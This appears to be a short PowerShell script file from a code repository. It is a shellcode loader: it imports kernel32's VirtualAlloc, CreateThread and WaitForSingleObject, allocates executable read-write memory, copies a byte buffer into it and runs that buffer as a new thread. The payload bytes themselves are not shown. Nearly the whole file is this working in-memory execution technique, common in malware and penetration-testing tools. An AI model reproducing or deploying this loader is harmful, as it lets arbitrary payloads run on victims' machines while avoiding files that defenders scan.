19 lines
821 B
PowerShell
19 lines
821 B
PowerShell
[Byte[]] $buf =
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Add-Type @"
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public class Win
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{
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[DllImport("kernel32")]
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public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
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[DllImport("kernel32.dll", SetLastError=true)]
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public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
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[DllImport("kernel32", CharSet=CharSet.Ansi)]
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public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
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}
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"@
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[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
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[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
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$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
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[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
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